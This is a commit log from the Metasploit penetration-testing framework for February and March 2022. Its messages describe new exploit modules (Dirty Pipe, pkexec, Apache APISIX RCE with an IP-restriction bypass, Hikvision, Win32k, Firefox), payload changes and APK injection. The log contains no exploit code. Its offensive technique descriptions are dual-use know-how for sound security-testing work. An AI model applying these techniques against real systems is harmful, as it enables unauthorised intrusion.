space-r7 a91bf22758 Land #16286, replace IO.read with File.binread 2022-03-07 14:01:19 -06:00
Metasploit b72c0674c5 automatic module_metadata_base.json update 2022-03-07 11:19:41 -06:00
space-r7 7a9d30e5b1 Land #16227, add wp masterstudy privesc module 2022-03-07 10:58:23 -06:00
space-r7 47532bb49a use Faker for email and user names 2022-03-07 10:57:40 -06:00
Tim W 5bd48d0a7d initial commit of dirtypipe 2022-03-07 15:49:27 +00:00
sjanusz d99d14eaa8 Defer TLV logging until session is bootstrapped 2022-03-07 15:47:49 +00:00
Metasploit 80ce51ece0 automatic module_metadata_base.json update 2022-03-07 09:23:16 -06:00
Spencer McIntyre c02b3da666 Land #16282, Add lcat command for meterpreter 2022-03-07 09:56:24 -05:00
Spencer McIntyre 42e0c027ab Land #16248, Added Apache APISIX RCE module 2022-03-07 09:47:04 -05:00
Spencer McIntyre 422f96fbbe Fix a plugin name reference
The plugin is actually "batch-requests", change the reference to be more
clear.
2022-03-07 09:46:15 -05:00
Ashley Donaldson 02bb5234a3 Update help, fix POP3S port and disable DNS (broken) and WPAD (not actually useful) 2022-03-07 21:40:31 +11:00
Ashley Donaldson a212cd57e5 HTTPS modules should use encryption 2022-03-07 15:12:34 +11:00
Ashley Donaldson 9b7107a711 Close handle to log file once the capture has ended (or a new one has begun) 2022-03-07 11:34:36 +11:00
Pedro Ribeiro e0c8108942 add docs for sslvpn module 2022-03-06 23:15:53 +00:00
Pedro Ribeiro e1079a587d remove cache flush from shellcode, dont need it 2022-03-06 23:02:02 +00:00
Tim W 2984a11bb4 Land #16294, replace jarsigner with apksigner for apk injection 2022-03-06 14:54:08 +00:00
Brendan Coles 7bb575a24e Msf::Payload::Apk: Replace jarsigner with apksigner
This allows signing APK files with Signature Scheme v2/v3/v4.
2022-03-06 13:50:38 +00:00
h00die 86cad29799 wp masterstudy review 2022-03-06 08:07:20 -05:00
Tim W 2560aa394c Land #16288, raise and show apktool output if the output contains Java exceptions 2022-03-06 08:32:50 +00:00
Tim W 0a57e1092c Land #16292, fix typo in pwnkit documentation 2022-03-06 07:35:37 +00:00
red 23a09be333 Fix typo in document of cve_2021_4034
ContOS => CentOS
2022-03-05 23:58:31 +08:00
Brendan Coles be928f9154 Msf::Payload::Apk: raise if apktool output includes Java exceptions 2022-03-05 15:32:24 +00:00
Brendan Coles ef4e7b2165 post/windows/manage/persistence_exe: Replace IO.read with File.binread 2022-03-05 13:24:55 +00:00
Tim W 458b081bee Land #16283, raise if APK is unsigned during apk injection 2022-03-05 09:14:50 +00:00
Brendan Coles ac72803543 Msf::Payload::Apk: raise if APK is unsigned or generating new key fails 2022-03-05 05:36:24 +00:00
3V3RYONE ea954f7585 add lcat in spec tests 2022-03-05 10:13:32 +05:30
3V3RYONE 58484f3ae0 add lcat cmd functionality 2022-03-05 10:11:45 +05:30
space-r7 aa87d5d387 add fixed definitions and exploit 2022-03-04 15:56:28 -06:00
space-r7 f116f9e701 add docs 2022-03-04 15:54:58 -06:00
Heyder Andrade d7c992f402 Need to use POST to check whether the batch request is enabled or not 2022-03-04 21:00:32 +01:00
Spencer McIntyre 9ef50a2d23 Fixup typos 2022-03-04 12:34:14 -05:00
adfoster-r7 e9393e471c Land #16258, convert unknown tlv types to readable strings 2022-03-04 16:55:39 +00:00
adfoster-r7 1253878dd3 Land #16135, Add setg sessiontlvlogging command to log TLV packets 2022-03-04 16:30:09 +00:00
sjanusz ae704eb067 Add support for multiple tlv types when logging 2022-03-04 16:20:20 +00:00
Metasploit 02143c5142 automatic module_metadata_base.json update 2022-03-04 09:18:26 -06:00
Spencer McIntyre 83b2f5a128 Land #16268, Update check comhijack 2022-03-04 09:59:49 -05:00
sjanusz a2fadf0606 Init logging on meterpreter's init, add option to change log file 2022-03-04 14:21:00 +00:00
dwelch-r7 e1ccd178ff Land #16141, Add service manager commands to msfconsle 2022-03-04 13:47:46 +00:00
adfoster-r7 f29ff681f7 Rename to _servicemanager and hide behind a feature flag 2022-03-04 12:45:15 +00:00
Simon Janusz 47cdbea16f Land #16179, Update Meterpreter file existence tests for CI environments
Update Meterpreter file existence tests for CI environments
2022-03-04 12:13:51 +00:00
Simon Janusz 9a2e2c7deb Land #16162, Add explicit Github action permissions
Add explicit Github action permissions
2022-03-04 12:09:44 +00:00
dwelch-r7 5cfb692567 Land #16145, Fix to_handler case sensitivity issue 2022-03-04 12:04:44 +00:00
adfoster-r7 2cd6e66791 Land #16269, Msf::Payload::Apk: Check Java is installed and apktool.jar exists 2022-03-04 11:33:34 +00:00
adfoster-r7 39e55af982 Land #16270, Msf::Payload::Apk: raise if keytool cannot parse APK file or certificate 2022-03-04 11:30:02 +00:00
Brendan Coles 69f7008a07 Msf::Payload::Apk: raise if keytool cannot parse APK file or certificate 2022-03-04 08:10:37 +00:00
Brendan Coles 03419e8a19 Msf::Payload::Apk: Check Java is installed and apktool.jar exists 2022-03-04 06:39:51 +00:00
Metasploit a3a2afdf80 automatic module_metadata_base.json update 2022-03-03 20:00:59 -06:00
adfoster-r7 383fa316cc Land #16219, Update core enumextcmd and loadlib commands to show human readable strings 2022-03-04 01:35:29 +00:00
adfoster-r7 ad2fab6fee Land #16153, read full response on smtp send/recv 2022-03-04 01:24:46 +00:00
Heyder Andrade 4d5716d891 Updated documentation 2022-03-04 02:21:42 +01:00
Heyder Andrade ca4ed9affe Added logic to treat the two ways of execute command
If we have the API token we can execute command using the parameter
`filter_func` or `script`, and if there is an IP restriction
enabled by the plugin ip-restriction we can bypass this restiction if
the plugin batch-request is also enabled.
2022-03-04 02:13:09 +01:00
adfoster-r7 dd3cca5037 Land #16265, Fix race condition in jobs cleanup that could allow it to clean up twice simultaneously 2022-03-04 00:45:33 +00:00
Ashley Donaldson 499ba611e5 Move cleaned_up flag up so that cleanup is never re-entrant 2022-03-04 10:59:14 +11:00
Metasploit f665b7cf50 automatic module_metadata_base.json update 2022-03-03 15:29:29 -06:00
bwatters fb658fbb13 Land #16245, pfSense Authenticated File Write (CVE-2021-41282)
Merge branch 'land-16245' into upstream-master
2022-03-03 15:08:34 -06:00
bwatters 3f35524c61 Rubocop fixes 2022-03-03 13:02:55 -06:00
bwatters f0878f4d1a Improve check method and add autocheck 2022-03-03 12:52:05 -06:00
Metasploit d5bdcd276f Bump version of framework to 6.1.33 2022-03-03 12:04:36 -06:00
Spencer McIntyre 098d11d281 Land #16266, Fix bug in tab completion of dirs 2022-03-03 12:00:18 -05:00
Spencer McIntyre d52bee3201 Remove an unnecessary duplicate line 2022-03-03 11:57:25 -05:00
Metasploit 9dc9546b44 automatic module_metadata_base.json update 2022-03-03 08:43:22 -06:00
Spencer McIntyre 6be3443680 Land #16103, LPE in polkit's pkexec (CVE-2021-4034) 2022-03-03 09:24:11 -05:00
Spencer McIntyre 0463373756 Simplify finding pkexec 2022-03-03 09:19:45 -05:00
adfoster-r7 7f52b71931 Land #16264, handle failed Github authentication when generating info -d docs
Add rescue for failed authentication on `info -d`
2022-03-03 14:18:58 +00:00
Spencer McIntyre 1034c2461f Updated GSoC 2022 Project Ideas (markdown) 2022-03-03 08:44:16 -05:00
Spencer McIntyre 1555bbbe3a Updated GSoC 2022 Project Ideas (markdown) 2022-03-03 08:42:05 -05:00
bwatters c9408c7b1b Remove pointless format string 2022-03-03 06:40:26 -06:00
Heyder Andrade 460584b079 Improved server header validation 2022-03-03 12:48:37 +01:00
sjanusz 3871ac9eac Improve TLV Type handling 2022-03-03 10:07:43 +00:00
Ashley Donaldson a31b2ff1d5 Rename capture module 2022-03-03 17:26:04 +11:00
Ashley Donaldson f6e88d0405 Fix bug in tab completion of directories 2022-03-03 15:57:10 +11:00
Ashley Donaldson d1567bf2a5 Add logging and recording hashes for later use 2022-03-03 14:51:53 +11:00
Heyder Andrade 236efab669 Update documentation
Add referece to CVE-2022-24112
msftidy_docs
2022-03-03 02:20:56 +01:00
Heyder Andrade a0afba45aa Remove unnecessary stuffs 2022-03-03 02:00:51 +01:00
bwatters 5246e9cb7e Add rescue for failed authentication on info -d 2022-03-02 16:41:19 -06:00
bwatters e649fe3f69 Fix some markdown issues, update docs and add arch check for payloads 2022-03-02 16:30:52 -06:00
Metasploit 2793d7d249 automatic module_metadata_base.json update 2022-03-02 16:15:27 -06:00
Spencer McIntyre d60e625746 Land #16254, shodan_search default user-agent
Fixes #16189 and #16223
2022-03-02 16:57:05 -05:00
Heyder Andrade 0d8933d162 Removed else statements from check in favor of implicit return 2022-03-02 22:42:08 +01:00
Heyder Andrade 41236232e2 WIP - add clean up function 2022-03-02 17:47:58 +01:00
Spencer McIntyre 146859dc12 Use bash instead of netcat as a default payload
Bash is more likely to be installed than netcat and therefore should be
more reliable.
2022-03-02 10:41:57 -05:00
bwatters 06e897436c Add Fedora results to docs and some minor final cleanup 2022-03-02 09:12:01 -06:00
Tim W 9d1c919094 Land #16257, add warning for older apktool versions 2022-03-02 10:28:31 +00:00
Brendan Coles ef135a8440 Msf::Payload::Apk: Print warning if apktool version < 2.5.1 2022-03-02 06:31:43 +00:00
Ashley Donaldson cc84b9038d Don't require a spoofing IP if you're not using active poisoning 2022-03-02 15:05:10 +11:00
Ashley Donaldson 4c4b0b4f8c Fix race condition in jobs cleanup that could allow it to clean up twice simultaneously 2022-03-02 14:43:06 +11:00
Ashley Donaldson 6bffa663a9 Don't try to launch UDP services remotely.
Use normal capitalisation when showing service names to users.
2022-03-02 14:00:41 +11:00
Heyder Andrade 7aa9547e05 WIP - improvements on the request body 2022-03-02 01:43:04 +01:00
Ashley Donaldson 75c0951fc9 Track capture jobs by session, and support stopping captures per-session 2022-03-02 09:59:56 +11:00
adfoster-r7 9c1b0d197b Land #16255, Update metasploit-payloads gem to 2.0.77 - Fix issue with kiwi_cmd arguments 2022-03-01 22:31:08 +00:00
Spencer McIntyre fa89295fe3 Update metasploit-payloads gem to 2.0.77 2022-03-01 16:17:45 -05:00
bwatters 58aed837b2 Update docs and options 2022-03-01 14:48:48 -06:00
Heyder Andrade bb2a2e458b shodan_search default user-agent overwirte - fix #16189 and #16223
As the Shodan is checking the UserAgent to decide which content-type it
will deliver, the default user-agent is causing it to reply a html page.
This commit overwrite the default user-agent the the module shodan_search
to 'Wget' that works in on the shodan API.
2022-03-01 21:31:35 +01:00
bwatters 0516badd8e Change the way we cd after new session is created 2022-03-01 14:20:07 -06:00
space-r7 0c3f0e38f7 Land #16228, validate payload size if not encoded 2022-03-01 14:04:01 -06:00
adfoster-r7 9694b9ff1d Add explicit Github action permissions 2022-03-01 19:48:33 +00:00
Ashley Donaldson 7b78431913 Use remote sessions if configured 2022-03-02 06:29:44 +11:00
Heyder Andrade abd03d592e WIP - adding bypass the IP restriction (CVE-2022-24112) 2022-03-01 19:00:59 +01:00
Heyder Andrade ea2b29661f Fix typo 2022-03-01 17:13:20 +01:00
Metasploit 88888ed2af automatic module_metadata_base.json update 2022-03-01 10:12:33 -06:00
adfoster-r7 7be128b9d2 Land #16251, Fix Python Meterpreter race condition when executing subcommands 2022-03-01 15:53:41 +00:00
Jake Baines e19a92e7a6 Fix disclosure date 2022-03-01 07:12:22 -08:00
Spencer McIntyre 5e5c207864 Update metasploit-payloads gem to 2.0.76 2022-03-01 10:01:07 -05:00
Jake Baines fbdb6614bc Initial version of CVE-2021-4191 GitLab user enumeration 2022-03-01 06:57:39 -08:00
sjanusz 869f073a1b Add setg option to log TLV packets to console or file 2022-03-01 12:50:35 +00:00
Heyder Andrade a6d33ea98e Add module documentation 2022-03-01 12:54:17 +01:00
Ashley Donaldson 4f026aee84 Fix bug in two-step validation of parameters 2022-03-01 15:55:30 +11:00
Ashley Donaldson 8dd459edbb Read some config in from a file 2022-03-01 15:29:50 +11:00
Ashley Donaldson 8af5c092dc Add encrypted services and tab completion to capture plugin 2022-03-01 13:51:40 +11:00
Ashley Donaldson 3846e82a8a Rudimentary argument parsing 2022-03-01 11:29:48 +11:00
Ashley Donaldson 6e5413057e Initial work on configuring hash capture plugin 2022-03-01 10:48:47 +11:00
Ashley Donaldson 602a383f69 Combine hash capture functionality into one plugin (proof of concept) 2022-03-01 09:48:38 +11:00
adfoster-r7 ef8e008799 Remove stale gitignore 2022-02-28 21:13:04 +00:00
Metasploit 239308824a automatic module_metadata_base.json update 2022-02-28 14:58:50 -06:00
bwatters 0081811c52 Land #16185, Firefox CVE-2020-26950 use after free browser exploit
Merge branch 'land-16185' into upstream-master
2022-02-28 14:38:23 -06:00
Metasploit 8e32809fcc automatic module_metadata_base.json update 2022-02-28 12:48:53 -06:00
space-r7 0d10409d67 Land #16131, add modern events calendar sqli 2022-02-28 12:27:45 -06:00
sjanusz 04ecb347a4 rjust command output 2022-02-28 18:26:31 +00:00
Heyder Andrade ad7bd6d623 Added Apache APISIX default API Token RCE module
Added module that laverage the default admin API token for Apache APISIX
to add malicious route which leads to the remote LUA code execution
through the script parameter added in the 2.x version.
2022-02-28 18:09:18 +01:00
Simon Janusz 6c19b93840 Land #16225, Add option to ignore loading metasploit during tests
Add option to ignore loading metasploit during tests
2022-02-28 14:22:12 +00:00
Simon Janusz bd1df9109c Land #16224, Ignore reload lib spec helper file
Ignore reload lib spec helper file
2022-02-28 12:23:04 +00:00
Jake Baines 65e16a1a72 Initial implementation of pfSense auth file creation bug (CVE-2021-41282) 2022-02-27 18:12:54 -08:00
Tim W da8dcbb563 Land #16235, fix apk injection for apktool with malformed version string 2022-02-27 07:33:22 +00:00
Brendan Coles 4fe7375341 Msf::Payload::Apk: Fix apktool version check 2022-02-27 05:33:00 +00:00
Tim W 579811418f update documentation with note about Firefox 82.0.1 2022-02-26 12:35:38 +00:00
space-r7 40bb5e2afa correct return val for definition, add module 2022-02-25 18:13:49 -06:00
Metasploit f3228b4af7 automatic module_metadata_base.json update 2022-02-25 16:56:54 -06:00
bwatters ecaf8b1ba9 Land #16204, Hikvision Unauthenticated RCE (CVE-2021-36260)
Merge branch 'land-16204' into upstream-master
2022-02-25 16:37:08 -06:00
Spencer McIntyre 147837e9b6 Validate payload size even when not encoding 2022-02-25 17:21:59 -05:00
Metasploit 0ac48ea147 automatic module_metadata_base.json update 2022-02-25 16:15:27 -06:00
h00die 9799d87ec9 update exploitable plugins 2022-02-25 17:00:34 -05:00
bwatters b69db83398 Land #16202, Add exploit for CVE-2022-21882 (Win32k LPE)
Merge branch 'land-16202' into upstream-master
2022-02-25 15:55:48 -06:00
h00die 2195edbb8d masterstudy privesc 2022-02-25 16:36:47 -05:00
Metasploit 65626bedd4 automatic module_metadata_base.json update 2022-02-25 11:55:20 -06:00
Grant Willcox 217afa0f3b Land #16190, Axis Camera App RCE (No CVE) 2022-02-25 11:35:03 -06:00
Grant Willcox 1e0db45f1d Add small note about ARMLE stager for future travelers 2022-02-25 11:34:31 -06:00
Spencer McIntyre 9f6e3ba543 Set the cached size for adapated payloads 2022-02-25 11:55:48 -05:00
Jake Baines 2bec5c425f Change CheckCode to Appears 2022-02-25 08:32:06 -08:00
adfoster-r7 09129f086d Add option to ignore loading metasploit during tests 2022-02-25 12:59:10 +00:00
adfoster-r7 5ee44bcdb7 Ignore reload lib spec helper file 2022-02-25 12:38:03 +00:00
Jake Baines 1facfe4a2f Alter upload filename. 2022-02-25 02:53:52 -08:00
Jake Baines d055a7d811 Altered some randomization, the json extracted by check, and fixed some wording 2022-02-24 18:48:21 -08:00
Jake Baines 48072b6554 Fix rubcop complaint introduced in suggestion commit 2022-02-24 18:28:38 -08:00
Jake Baines 454eba2438 Apply suggestions from code review
Added changes suggested by @gwillcox-r7

Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-02-24 21:25:09 -05:00
space-r7 9c56a9a2bc add more definitions / constants for permissions 2022-02-24 20:20:38 -06:00
Jeffrey Martin 2605997bd9 add some GSoC 2022 seeds 2022-02-24 17:34:00 -06:00
Metasploit ce56878524 automatic module_metadata_base.json update 2022-02-24 16:14:11 -06:00
Grant Willcox a500435080 Land #16182, wordpress Secure Copy COntent Protection and Content Locking Unauthenticated SQLi (CVE-2021-24931) 2022-02-24 15:55:29 -06:00
Grant Willcox 9b53ed5f5c Add final randomization parts before landing 2022-02-24 15:43:21 -06:00
h00die dc5209e412 vnc docs and fixes 2022-02-24 16:42:36 -05:00
Jeffrey Martin abe55c8f91 raise RuntimeError on incomplete or extra data 2022-02-24 14:02:44 -06:00
Grant Willcox 8d080135bb First round of review edits 2022-02-24 13:46:33 -06:00
Metasploit da044a967a Bump version of framework to 6.1.32 2022-02-24 12:07:52 -06:00
Grant Willcox 94ca15686f Fix issue hwereby some sites don't expose the WordPress API under the /index.php/ directory but instead under the root directory. This allows us to expand support for these websites. 2022-02-24 11:39:17 -06:00
bwatters 1e4e146148 Land #16215, Update metasploit payloads to 2.0.75
Merge branch 'land-16215' into upstream-master
2022-02-24 11:00:46 -06:00
Metasploit 64c5595888 automatic module_metadata_base.json update 2022-02-24 10:56:28 -06:00
Spencer McIntyre 544f8e161a Land #16164, Create Module For CVE-2021-42321 2022-02-24 11:36:12 -05:00
Spencer McIntyre 2b0002031d Fix the minimum build number
This particular change looks like a mistake. Build 17134 (v1803) is the
oldest that is supported.
2022-02-24 11:24:20 -05:00
Jake Baines 9f05a7d11a Removed unneeded custom timeout 2022-02-24 08:13:04 -08:00
Spencer McIntyre 6d325933a9 Remove the default payload options 2022-02-24 10:55:38 -05:00
Jake Baines 3739dad470 Updated to use print_bad instead of fail_with for application removal errors. Also included instructions on how to manually remove the application 2022-02-24 07:44:34 -08:00
sjanusz f473c0e3b1 Convert core_enumextcmd and core_loadlib commands to human readable strings 2022-02-24 14:54:21 +00:00
Jake Baines e1616a520f Fixed a couple of typos. Changed a CheckCode. Randomized the replaced tmp file name 2022-02-24 06:38:36 -08:00
Spencer McIntyre 2e32619328 Merge info in the meterpreter module 2022-02-24 09:04:51 -05:00
bwatters 1ea1781ee2 Update metasploit payloads to 2.0.75 2022-02-23 17:27:12 -06:00
Metasploit b2bdd36923 automatic module_metadata_base.json update 2022-02-23 17:25:28 -06:00
Grant Willcox 585b470703 Land #16093, Fix URL refs for various modules and improve tools/modules/module_reference.rb code 2022-02-23 17:04:26 -06:00
Grant Willcox 5f672019ac Add in RuboCop fixes before final land 2022-02-23 16:27:12 -06:00
Grant Willcox cce49f05db Destroyed Mermaid Test Page (markdown) 2022-02-23 15:47:55 -06:00
Grant Willcox 3b1d097f02 Testing if Mermaid is Supported 2022-02-23 15:47:27 -06:00
Spencer McIntyre bad55a858c Add the new adapter payload type 2022-02-23 16:38:57 -05:00
Metasploit 96e1e3b42b automatic module_metadata_base.json update 2022-02-22 18:17:59 -06:00
Grant Willcox 40c3dd68a2 Land #16061 - Add support to retrieve user list from wp-json to wordpress_scanner module 2022-02-22 17:58:02 -06:00
Grant Willcox fddd3f15c2 Fix up code so that it will not block on attempting to delete the configuration on the folder, just in case the configuration doesn't exist in the first place. Instead print a warning and continue. 2022-02-22 17:52:29 -06:00
Metasploit 534336490a automatic module_metadata_base.json update 2022-02-22 12:41:15 -06:00
adfoster-r7 dc301a12bd Land #16156, Authenticated Microweber v1.2.10 Local File Inclusion 2022-02-22 18:20:59 +00:00
Simon Janusz 7b7b5c6914 Land #16197, Fix Meterpreter module tests on Windows host
Fix Meterpreter module tests on Windows host
2022-02-22 14:43:01 +00:00
talhak08 95f47847e2 VHOST compatibility added 2022-02-22 14:21:33 +03:00
3V3RYONE 96e7fdb214 check if Dir.tmpdir is compatible 2022-02-21 19:17:36 +05:30
Metasploit b7a014a5d2 automatic module_metadata_base.json update 2022-02-21 05:57:12 -06:00
adfoster-r7 5e4f7a1707 Land #16200, fix post/windows/enum_chrome on Chrome > 80 2022-02-21 11:38:47 +00:00
Jake Baines 4cd3563bc7 Initial commit of exploit for CVE-2021-36260 2022-02-19 13:13:24 -08:00
Dhiraj Mishra f6cb434f07 Merge pull request #7 from bwatters-r7/land-16103
Land 16103
2022-02-19 11:18:27 +04:00
space-r7 5fb3dc1d8e add printer create / spooler settings logic 2022-02-18 17:51:24 -06:00
bwatters 9e9ae9a8cc Remove unneeded files 2022-02-18 16:33:39 -06:00
bwatters f311bd4fce Remove duplicate warning 2022-02-18 16:31:35 -06:00
bwatters 3ea032472d Updated exploit with better check method, added OnSessionCmd option
to run a command when a session is bootstrapped, added more
documentation.
2022-02-18 16:30:47 -06:00
Spencer McIntyre 443bf1249a Remove all the old CVE-2021-1732 data 2022-02-18 15:25:39 -05:00
Spencer McIntyre bcd7cb1122 Writeup the module metadata and docs 2022-02-18 15:23:44 -05:00
Spencer McIntyre d92259f868 One exploit for CVE-2021-1732 and CVE-2022-21882 2022-02-18 15:23:38 -05:00
usiegl00 6d94a316cf Add packet fragmentation to ShadowMitmDispatcher
The ShadowMitmDispatcher now supports arbitrary size packets. The
ShadowMitmDispatcher now supports SMB3. The ShadowMitmDispatcher no
longer interferes with existing sessions.
2022-02-18 17:05:37 +09:00
Tim W 526f1be891 run rubocop on enum_chrome.rb 2022-02-18 02:45:09 +00:00
space-r7 0781e90ca2 add struct processing logic 2022-02-17 19:03:32 -06:00
Metasploit eb4969937f Bump version of framework to 6.1.31 2022-02-17 12:10:25 -06:00
adfoster-r7 603c4d67f9 Fix Meterpreter module tests on Windows host 2022-02-17 17:28:58 +00:00
Pedro Ribeiro 92856e739b Fix shellcode so that it works with "0" octets in LHOST IP 2022-02-17 23:06:53 +07:00
Grant Willcox a6da5913f5 Land #16192, Add ServerJang to session notifer to allow sending new session information to WeChat 2022-02-16 23:31:40 -06:00
Grant Willcox 550a625dc7 Major rework to support redirects 2022-02-16 23:12:55 -06:00
Grant Willcox 0ca56600a6 Fix casting issue by ensuring r.ctx_val is cast to a string before it used in a gsub operation. This prevents errors where sometimes the script can crash when r.ctx_val is considered to be a integer due to it containing only numbers and nothing else 2022-02-16 20:05:19 -06:00
Grant Willcox d7b442f782 Fix up MSB code so it will properly check MSB URLs 2022-02-16 19:16:02 -06:00
h00die d5ba1afbec fix URLs not resolving
fix URLs not resolving

add csv export to references

fix URLs not resolving

pdf not pd

missed a url change

remove extra recirectedfrom fields

remove extra file

fix ovftool url accidental replacement
2022-02-16 17:22:40 -06:00
Tim W f5c17a0d00 use LocalAlloc instead of process.open 2022-02-16 21:27:26 +00:00
Tim W 9211838a62 fix #16134, fix post/windows/enum_chrome on Chrome > 80 2022-02-16 21:27:15 +00:00
Grant Willcox 891c33bd99 Final improvements to store captured WordPress usernames as credentials in database 2022-02-16 14:30:46 -06:00
Grant Willcox 2d9edcd22f Remove extra lines, use normalize_url, convert JSON.parse call to using get_json_document instead and update code appropriately. 2022-02-16 11:43:29 -06:00
Tim W 4e5cd8693d add notes section to placate msftidy 2022-02-16 11:48:55 +00:00
Tim W 480c44e9cb refactor DEBUG_EXPLOIT code into mixin 2022-02-16 11:38:04 +00:00
Tim W 90a06a1cb9 fix docs 2022-02-16 08:37:01 +00:00
Tim W 35d122e16d msftidy 2022-02-16 08:35:04 +00:00
Tim W fb53ca0ac2 actually add support for Windows 2022-02-16 08:33:24 +00:00
Tim W 841af2c6e1 add support for Windows 2022-02-16 08:30:07 +00:00
Tim W 11f2c5201d add documentation 2022-02-16 08:19:25 +00:00
Tim W 6e59efc324 fix evil is undefined on exploit failure 2022-02-16 07:52:42 +00:00
Grant Willcox 5a8cf3ea95 Add corrections from review session 2022-02-15 18:49:46 -06:00
Grant Willcox 6700ed7f3c Update module to use built in error handling within send_request_cgi vs doing it ourselves 2022-02-15 18:18:53 -06:00
Metasploit 34ffea9f3c automatic module_metadata_base.json update 2022-02-15 17:32:51 -06:00
bwatters 1086926b2e Land #16159, Add module for CVE-2021-3129
Merge branch 'land-16159' into upstream-master
2022-02-15 17:14:01 -06:00
Metasploit c88151ca8b automatic module_metadata_base.json update 2022-02-15 17:01:16 -06:00
bwatters 0239ef1cc6 Land #16117, Updates for Log4Shell 2022-02-15 16:39:00 -06:00
space-r7 99226f1a5c add definitions for winspool and spoolss libs 2022-02-15 15:51:22 -06:00
Metasploit f51e06e579 automatic module_metadata_base.json update 2022-02-15 13:04:03 -06:00
Grant Willcox f876c1760e Land #16195, Update hp_dataprotector_cmd_exec.rb to support x64 targets 2022-02-15 12:44:13 -06:00
Metasploit fd32195be2 automatic module_metadata_base.json update 2022-02-15 12:23:14 -06:00
Grant Willcox cbf0fe0d5e Land #16193, Remove the deprecated VSS modules 2022-02-15 12:04:40 -06:00
darrenmartyn 604361b59d Update hp_dataprotector_cmd_exec.rb
64 bit payloads
2022-02-15 18:03:13 +00:00
adfoster-r7 beed32baea Land #16194, Bump RubySMB to 3.0.4 2022-02-15 17:47:24 +00:00
Metasploit 9a2be6088d automatic module_metadata_base.json update 2022-02-15 11:41:31 -06:00
Grant Willcox e203548213 Land #16087, Grandstream UCM62xx IP PBX Websocket Blind SQL Injection Credential Dump 2022-02-15 11:11:11 -06:00
Spencer McIntyre 1a3a30e943 Bump RubySMB to 3.0.4
This pulls in a change to fix #wipe_state!
2022-02-15 12:06:24 -05:00
dwelch-r7 b6deabf09f Land #16172, Update replicant pattern to increment refs 2022-02-15 17:04:31 +00:00
Grant Willcox 6e2f81010e Make Exploit::CheckCode messages more explicit when handling JSON data so we know what we are failing on 2022-02-15 10:47:30 -06:00
adfoster-r7 18b4ce8a13 Update replicant pattern to increment refs 2022-02-15 16:08:35 +00:00
Jake Baines 14234e467a Moved to aux/gather. Implemented autocheck. Added failure on websocket error 2022-02-15 06:23:19 -08:00
Spencer McIntyre bd0aba3cca Bump RubySMB to 3.0.3
This pulls in a fix for reading files.
2022-02-15 08:57:05 -05:00
Spencer McIntyre 50d78e035d Remove the deprecated VSS modules 2022-02-15 08:49:11 -05:00
Tim W 2405a040a8 rubocop and msftidy 2022-02-15 09:31:06 +00:00
Heyder Andrade 891387885b Fixed typos
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-02-15 08:47:50 +01:00
Heyder Andrade bbb66eba55 Fixed typos
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-02-15 08:47:26 +01:00
Heyder Andrade acfc7348c3 Fixed typos
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-02-15 08:47:10 +01:00
zha0gongz1 09ee54a152 Added interface ServerJang to send session information to Wechat 2022-02-15 02:46:41 -05:00
Heyder Andrade c935bc6388 Update modules/exploits/multi/php/ignition_laravel_debug_rce.rb
Fix typos

Co-authored-by: Brendan <bwatters@rapid7.com>
2022-02-15 08:46:25 +01:00
Heyder Andrade 2e73469b6b Update modules/exploits/multi/php/ignition_laravel_debug_rce.rb
Fix typos

Co-authored-by: Brendan <bwatters@rapid7.com>
2022-02-15 08:46:02 +01:00
Jake Baines 5ac3330802 Initial commit of Axis camera app install exploit 2022-02-14 17:54:18 -08:00
Jeffrey Martin cb388b0b4c add SMTPDeliver spec
* define smtp_send_recv expectations
2022-02-14 18:48:27 -06:00
Grant Willcox a7ace66b3f Use send_request_cgi and update options to use HttpUsername and HttpPassword accordingly. This simplifies code. Also update documentation accordingly 2022-02-14 18:19:00 -06:00
Grant Willcox c49591cf11 Add in changes to use targets array as per Spencer's suggestion so we can now spawn Meterpreter shells. Also remove ACCOUNT_LOCKOUTS and fix a call that should have been .get_xml_document 2022-02-14 17:38:10 -06:00
Jeffrey Martin af3fa09896 refactor smtp delivery to support continuation
When dealing with SMTP servers the communication needs to flow
a known protocol. To ensure the socket is in the correct state
after a send and receive it needs to be read until a line return
a response code followed by a `space` and additional data and `\r\n`
or the response code immediately followed by `\r\n` is returned.
2022-02-14 16:55:49 -06:00
Grant Willcox c8f63e30cb Fix minor issues from review 2022-02-14 14:15:17 -06:00
Simon Janusz 01bdbdd131 Land #16181, Add Meterpreter compatibility resource file
Add Meterpreter compatibility resource file
2022-02-14 16:33:16 +00:00
Simon Janusz 732bd3a71c Land #16173, Add readline option to msfconsole
Add readline option to msfconsole
2022-02-14 16:11:15 +00:00
Simon Janusz c8a7a14fa2 Land #16184, Bump rex-powershell
Bump rex-powershell
2022-02-14 15:33:00 +00:00
Tim W 098a82a9d0 cleanup and encode shellcode 2022-02-14 11:21:32 +00:00
adfoster-r7 7b63cd36e1 Bump rex-powershell 2022-02-14 11:19:17 +00:00
Tim W 14fbbff00b initial commit of CVE-2020-26950 2022-02-14 10:36:19 +00:00
Tim W e9758f33b5 Land #16175, order the loadpath summary in alphabetical order 2022-02-14 09:52:19 +00:00
alanfoster d45783a5a0 Add readline option to msfconsole 2022-02-13 23:47:08 +00:00
h00die 392ed7e9a8 change wp_modern_events_calendar check method 2022-02-13 15:50:24 -05:00
h00die e1b933e0a8 change wp_registrationmagic check method 2022-02-13 15:40:57 -05:00
h00die 864ce9471f wp_secure_copy sqli 2022-02-13 15:04:17 -05:00
Pedro Ribeiro 5e738309f9 add shellcode comment 2022-02-14 02:24:59 +07:00
Spencer McIntyre 0f46eb12a7 Add a basic python spec file 2022-02-13 13:32:03 -05:00
Spencer McIntyre 683d4ac471 Add support for staged python command payloads 2022-02-13 12:03:08 -05:00
alanfoster 4e6f75e8d9 Add Meterpreter compatibility resource file 2022-02-13 15:53:44 +00:00
Metasploit 0a1aa2b067 automatic module_metadata_base.json update 2022-02-13 06:30:51 -06:00
usiegl00 881805c543 Update ShadowMitmDispatcher fix PacketFu timeout
Setting the timeout to 0 was causing packet capturing issues in
PacketFu. Using cap.stream.each_data instead of cap.next reduces cpu
usage.
2022-02-13 21:24:57 +09:00
Tim W a13ae3882b Land #16174, fix specifying the mode on File.read for ruby 3 on multiple modules 2022-02-13 12:08:13 +00:00
Metasploit 79eab312ff automatic module_metadata_base.json update 2022-02-13 06:04:36 -06:00
Tim W 65453a1bfa Land #16076, add meterpreter session type support to post/osx/gather/hashdump 2022-02-13 11:46:49 +00:00
